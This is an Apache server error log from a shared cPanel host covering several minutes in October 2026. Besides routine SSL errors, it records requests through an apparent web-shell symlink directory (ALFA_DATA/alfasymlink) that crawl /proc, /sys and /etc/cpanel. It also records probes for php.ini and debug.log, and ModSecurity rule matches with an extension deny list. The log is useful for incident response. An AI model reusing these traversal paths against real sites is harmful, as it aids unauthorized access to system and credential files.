[Tue Oct 27 11:58:07.574514 2026] [ssl:error] [pid 3258393:tid 3258393] (70014)End of file found: [client 23.21.225.190:54626] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:58:21.190939 2026] [core:error] [pid 3258393:tid 3258393] (13)Permission denied: [client 85.208.96.205:56364] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/cpu_slabs
[Tue Oct 27 11:58:23.494414 2026] [ssl:error] [pid 3258980:tid 3258980] (70014)End of file found: [client 100.29.63.24:29209] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:58:27.569233 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 18.213.102.186:23341] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:58:31.530336 2026] [ssl:error] [pid 3260714:tid 3260714] (70014)End of file found: [client 44.207.252.58:31421] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:58:35.547719 2026] [core:error] [pid 3259053:tid 3259053] (13)Permission denied: [client 54.84.102.81:37631] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mouse1/device/event3/subsystem/input1/device/firmware_node/physical_node/driver/00:01/subsystem/drivers/serial/unbind
[Tue Oct 27 11:58:43.634455 2026] [ssl:error] [pid 3257227:tid 3257227] (70014)End of file found: [client 52.45.92.83:14801] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:58:51.735117 2026] [ssl:error] [pid 3260714:tid 3260714] (70014)End of file found: [client 18.206.47.187:10948] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:58:59.714130 2026] [ssl:error] [pid 3259053:tid 3259053] (70014)End of file found: [client 54.92.171.106:60815] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:59:07.779693 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 3.210.223.61:61457] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:59:11.706055 2026] [core:error] [pid 3258924:tid 3258924] (13)Permission denied: [client 54.235.191.179:63519] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory9/node0/memory11/subsystem/uevent
[Tue Oct 27 11:59:15.887327 2026] [ssl:error] [pid 3259053:tid 3259053] (70014)End of file found: [client 3.224.215.150:41371] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:59:23.806498 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 44.221.105.234:56886] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:59:27.875448 2026] [core:error] [pid 3258828:tid 3258828] (13)Permission denied: [client 98.83.10.183:37045] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/PNP0F13:00/physical_node/subsystem/drivers/rtc_cmos/bind
[Tue Oct 27 11:59:39.932752 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 54.84.93.8:4728] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:00:05.316428 2026] [core:error] [pid 3258910:tid 3258910] (13)Permission denied: [client 85.208.96.211:35464] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_free_data/sanity_checks
[Tue Oct 27 12:00:11.976435 2026] [ssl:error] [pid 3257805:tid 3257805] (70014)End of file found: [client 3.224.205.25:15056] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:00:15.805139 2026] [ssl:error] [pid 3257234:tid 3257234] (70014)End of file found: [client 98.82.107.102:49603] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:00:28.023749 2026] [authz_core:error] [pid 3257805:tid 3257805] [client 195.178.110.50:38034] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 12:00:31.836087 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 3.211.105.134:28063] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:00:40.089720 2026] [ssl:error] [pid 3258980:tid 3258980] (70014)End of file found: [client 3.218.35.239:63736] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:00:50.110495 2026] [security2:error] [pid 3258900:tid 3258900] [client 107.172.76.131:60727] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDKpqmmltVfzQDO9WR3PAAAACI"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 12:00:50.110567 2026] [security2:error] [pid 3258900:tid 3258900] [client 107.172.76.131:60727] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDKpqmmltVfzQDO9WR3PAAAACI"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 12:01:04.369818 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 3.221.222.168:49721] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:01:15.896349 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 107.20.255.194:25242] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:01:23.782433 2026] [ssl:error] [pid 3259050:tid 3259050] (70014)End of file found: [client 34.194.14.255:37490] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:01:27.750836 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 54.225.81.20:35531] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:01:31.627174 2026] [ssl:error] [pid 3258811:tid 3258811] (70014)End of file found: [client 54.163.136.244:58294] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:01:36.239014 2026] [ssl:error] [pid 3257860:tid 3257860] (70014)End of file found: [client 23.21.119.232:31789] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:01:39.903602 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 107.20.255.194:6923] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:01:47.835359 2026] [core:error] [pid 3257860:tid 3257860] (13)Permission denied: [client 98.82.40.168:10615] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/ata2/host1/subsystem/uevent
[Tue Oct 27 12:02:00.750255 2026] [security2:error] [pid 3258811:tid 3258811] [client 216.244.66.250:55494] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pm/"] [unique_id "auDK-FDp5HJ8f2_8WLCkuAAAADQ"]
[Tue Oct 27 12:02:00.750307 2026] [security2:error] [pid 3258811:tid 3258811] [client 216.244.66.250:55494] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pm/"] [unique_id "auDK-FDp5HJ8f2_8WLCkuAAAADQ"]
[Tue Oct 27 12:02:15.720687 2026] [ssl:error] [pid 3258811:tid 3258811] (70014)End of file found: [client 54.221.203.24:26098] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:02:16.371609 2026] [authz_core:error] [pid 3258845:tid 3258845] [client 35.195.42.59:38562] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 12:02:16.377997 2026] [authz_core:error] [pid 3261792:tid 3261792] [client 34.76.199.251:51542] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 12:02:16.671583 2026] [authz_core:error] [pid 3258924:tid 3258924] [client 207.175.120.146:56542] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 12:02:16.708564 2026] [authz_core:error] [pid 3258910:tid 3258910] [client 34.76.199.251:57392] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 12:02:28.025246 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 44.216.172.204:60080] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:02:35.702419 2026] [ssl:error] [pid 3258933:tid 3258933] (70014)End of file found: [client 34.196.6.199:32078] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:02:39.728320 2026] [ssl:error] [pid 3258811:tid 3258811] (70014)End of file found: [client 52.21.62.139:4662] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:02:47.971269 2026] [ssl:error] [pid 3258910:tid 3258910] (70014)End of file found: [client 3.215.59.93:21124] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:02:52.386490 2026] [ssl:error] [pid 3258933:tid 3258933] (70014)End of file found: [client 100.29.155.89:19783] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:02:55.743221 2026] [ssl:error] [pid 3258811:tid 3258811] (70014)End of file found: [client 23.20.178.124:34665] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:03:03.848714 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 54.84.147.79:13543] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:03:08.168041 2026] [ssl:error] [pid 3258910:tid 3258910] (70014)End of file found: [client 50.19.102.70:64264] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:03:11.779876 2026] [core:error] [pid 3258933:tid 3258933] (13)Permission denied: [client 3.89.170.186:16891] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/bus/cpu/devices/cpu0/driver/cpu1/driver/unbind
[Tue Oct 27 12:03:23.827244 2026] [ssl:error] [pid 3258900:tid 3258900] (70014)End of file found: [client 52.44.148.203:9628] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:03:32.001528 2026] [core:error] [pid 3258910:tid 3258910] (13)Permission denied: [client 54.235.191.179:39023] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/firmware_node/device:15/eject
[Tue Oct 27 12:03:39.704635 2026] [ssl:error] [pid 3258811:tid 3258811] (70014)End of file found: [client 98.82.107.102:36256] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:04:07.811175 2026] [ssl:error] [pid 3258924:tid 3258924] (70014)End of file found: [client 52.7.13.143:28068] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:04:13.672305 2026] [security2:error] [pid 3258933:tid 3258933] [client 43.135.144.126:58444] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.curso-de-ventas.com"] [uri "/"] [unique_id "auDLfcZXnwzxAnw-k1TOhQAAAEw"]
[Tue Oct 27 12:04:13.673374 2026] [authz_core:error] [pid 3258933:tid 3258933] [client 43.135.144.126:58444] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 12:04:15.700004 2026] [ssl:error] [pid 3258811:tid 3258811] (70014)End of file found: [client 3.90.73.206:60274] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:04:24.113739 2026] [ssl:error] [pid 3258396:tid 3258396] (70014)End of file found: [client 3.225.9.97:57960] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:04:48.228369 2026] [core:error] [pid 3257227:tid 3257227] (13)Permission denied: [client 216.244.66.250:43086] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/tmp.ny2OxCiM2i
[Tue Oct 27 12:04:51.911146 2026] [ssl:error] [pid 3258900:tid 3258900] (70014)End of file found: [client 18.215.112.101:35388] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:04:59.792352 2026] [ssl:error] [pid 3259050:tid 3259050] (70014)End of file found: [client 52.22.64.232:49938] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:05:12.137746 2026] [ssl:error] [pid 3257227:tid 3257227] (70014)End of file found: [client 54.152.163.42:35987] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:05:15.914852 2026] [ssl:error] [pid 3258396:tid 3258396] (70014)End of file found: [client 54.88.84.219:15644] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:05:19.935072 2026] [ssl:error] [pid 3258900:tid 3258900] (70014)End of file found: [client 52.6.97.88:9214] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:05:24.080251 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 54.84.147.79:64560] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:05:27.916345 2026] [ssl:error] [pid 3257227:tid 3257227] (70014)End of file found: [client 52.205.113.104:18722] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:05:35.761283 2026] [ssl:error] [pid 3258900:tid 3258900] (70014)End of file found: [client 34.224.132.215:14211] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:05:51.872064 2026] [ssl:error] [pid 3258811:tid 3258811] (70014)End of file found: [client 100.28.118.16:6149] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:05:55.835645 2026] [core:error] [pid 3261709:tid 3261709] (13)Permission denied: [client 52.204.71.8:8314] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/device:01/PNP0501:01/subsystem/drivers/battery/unbind
[Tue Oct 27 12:06:00.312632 2026] [ssl:error] [pid 3258910:tid 3258910] (70014)End of file found: [client 44.193.102.198:55544] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:06:03.870072 2026] [ssl:error] [pid 3258811:tid 3258811] (70014)End of file found: [client 18.233.24.238:51237] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:06:07.854661 2026] [core:error] [pid 3258845:tid 3258845] (13)Permission denied: [client 100.24.167.60:49629] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty5/subsystem/tty14/subsystem/ttyS1/flags
[Tue Oct 27 12:06:11.750312 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 52.203.152.231:64020] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:06:12.444791 2026] [autoindex:error] [pid 3258910:tid 3258910] (13)Permission denied: [client 185.191.171.16:21124] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/cpanel/
[Tue Oct 27 12:06:15.724007 2026] [ssl:error] [pid 3258811:tid 3258811] (70014)End of file found: [client 3.209.174.110:19313] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:06:19.787362 2026] [ssl:error] [pid 3258924:tid 3258924] (70014)End of file found: [client 34.196.6.199:21207] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:06:23.784938 2026] [core:error] [pid 3261792:tid 3261792] (13)Permission denied: [client 44.193.102.198:60440] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/firmware_node/device:0d/eject
[Tue Oct 27 12:06:31.763921 2026] [ssl:error] [pid 3258811:tid 3258811] (70014)End of file found: [client 54.83.180.239:39121] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:06:39.600868 2026] [authz_core:error] [pid 3258910:tid 3258910] [client 156.225.1.95:10142] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 12:06:40.014824 2026] [ssl:error] [pid 3261709:tid 3261709] (70014)End of file found: [client 107.23.62.75:10119] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:06:40.054027 2026] [authz_core:error] [pid 3258396:tid 3258396] [client 156.225.1.95:10510] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 12:06:40.994061 2026] [authz_core:error] [pid 3258924:tid 3258924] [client 156.225.1.95:11204] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 12:06:44.000759 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 54.235.172.96:19924] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:06:48.039177 2026] [ssl:error] [pid 3262184:tid 3262184] (70014)End of file found: [client 107.22.208.39:21245] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:06:50.182732 2026] [core:crit] [pid 3261709:tid 3261709] (13)Permission denied: [client 185.191.171.16:56304] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/polkit-1/rules.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/polkit-1/rules.d/' is executable
[Tue Oct 27 12:06:50.182848 2026] [core:crit] [pid 3261709:tid 3261709] (13)Permission denied: [client 185.191.171.16:56304] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/polkit-1/localauthority/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/polkit-1/localauthority/' is executable
[Tue Oct 27 12:06:51.736395 2026] [ssl:error] [pid 3258811:tid 3258811] (70014)End of file found: [client 54.204.62.163:11043] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:06:59.904433 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 52.23.112.144:22741] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:07:00.615419 2026] [authz_core:error] [pid 3261709:tid 3261709] [client 195.178.110.102:30848] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 12:07:03.017480 2026] [authz_core:error] [pid 3258900:tid 3258900] [client 195.178.110.102:30950] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 12:07:11.040975 2026] [authz_core:error] [pid 3258924:tid 3258924] [client 195.178.110.102:56110] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 12:07:12.300083 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 44.213.36.21:49040] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:07:12.406880 2026] [authz_core:error] [pid 3258924:tid 3258924] [client 195.178.110.102:56110] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 12:07:19.834391 2026] [ssl:error] [pid 3261709:tid 3261709] (70014)End of file found: [client 35.169.102.85:34808] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:07:23.922450 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 98.82.66.172:40325] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:07:27.953076 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 23.21.148.226:40722] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:07:31.817259 2026] [ssl:error] [pid 3258924:tid 3258924] (70014)End of file found: [client 3.232.82.72:62286] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:07:35.776339 2026] [ssl:error] [pid 3261709:tid 3261709] (70014)End of file found: [client 98.84.60.17:53748] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:07:39.740881 2026] [ssl:error] [pid 3258845:tid 3258845] (70014)End of file found: [client 34.204.150.196:39939] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:07:43.885899 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 52.203.65.83:30043] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:07:51.859958 2026] [ssl:error] [pid 3258924:tid 3258924] (70014)End of file found: [client 54.235.125.129:38645] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:07:59.870710 2026] [ssl:error] [pid 3258811:tid 3258811] (70014)End of file found: [client 54.87.62.248:65519] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:08:04.037054 2026] [ssl:error] [pid 3258910:tid 3258910] (70014)End of file found: [client 54.87.62.248:53631] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:08:07.791016 2026] [ssl:error] [pid 3258924:tid 3258924] (70014)End of file found: [client 54.235.125.129:28925] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:08:11.827288 2026] [core:error] [pid 3258845:tid 3258845] (13)Permission denied: [client 52.54.15.103:60090] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0A03:00/device:04/eject
[Tue Oct 27 12:08:15.871475 2026] [ssl:error] [pid 3258910:tid 3258910] (70014)End of file found: [client 54.84.250.51:43566] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:08:28.173965 2026] [ssl:error] [pid 3262218:tid 3262218] (70014)End of file found: [client 52.70.209.13:14950] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:08:31.726355 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 52.200.54.136:12099] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:08:35.927185 2026] [ssl:error] [pid 3258933:tid 3258933] (70014)End of file found: [client 44.208.223.68:31756] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:08:39.961327 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 3.216.86.144:55451] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:08:43.779390 2026] [ssl:error] [pid 3258845:tid 3258845] (70014)End of file found: [client 18.208.11.93:58496] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:08:52.089051 2026] [ssl:error] [pid 3258396:tid 3258396] (70014)End of file found: [client 18.215.49.176:24441] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:08:55.892878 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 52.2.83.227:17277] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:09:03.709645 2026] [ssl:error] [pid 3261709:tid 3261709] (70014)End of file found: [client 52.70.123.241:53292] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:09:11.816471 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 3.219.80.71:11466] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:09:14.091280 2026] [core:error] [pid 3262184:tid 3262184] (13)Permission denied: [client 185.191.171.1:11198] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/cache_dma
[Tue Oct 27 12:09:15.944754 2026] [ssl:error] [pid 3258900:tid 3258900] (70014)End of file found: [client 98.83.226.125:22511] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:09:23.786514 2026] [ssl:error] [pid 3261709:tid 3261709] (70014)End of file found: [client 3.213.85.234:34520] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:09:28.227389 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 100.29.155.89:60790] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:09:31.837296 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 3.93.253.174:21765] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:09:39.764559 2026] [core:error] [pid 3261709:tid 3261709] (13)Permission denied: [client 3.81.253.213:60921] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0A03:00/device:15/eject
[Tue Oct 27 12:09:47.848437 2026] [ssl:error] [pid 3258811:tid 3258811] (70014)End of file found: [client 54.221.203.24:41751] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:09:51.980286 2026] [ssl:error] [pid 3258924:tid 3258924] (70014)End of file found: [client 54.147.80.137:31011] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:09:55.415173 2026] [security2:error] [pid 3262218:tid 3262218] [client 2.57.122.202:20514] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/wp-content/debug.log"] [unique_id "auDM00WPhKyNntEZE3vcKQAAAAU"]
[Tue Oct 27 12:09:55.415585 2026] [security2:error] [pid 3262218:tid 3262218] [client 2.57.122.202:20514] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/wp-content/debug.log"] [unique_id "auDM00WPhKyNntEZE3vcKQAAAAU"]
[Tue Oct 27 12:09:55.415889 2026] [security2:error] [pid 3262218:tid 3262218] [client 2.57.122.202:20514] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/wp-content/debug.log"] [unique_id "auDM00WPhKyNntEZE3vcKQAAAAU"]
[Tue Oct 27 12:09:55.559134 2026] [security2:error] [pid 3262218:tid 3262218] [client 2.57.122.202:20514] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/wp-content/uploads/debug.log"] [unique_id "auDM00WPhKyNntEZE3vcKgAAAAU"]
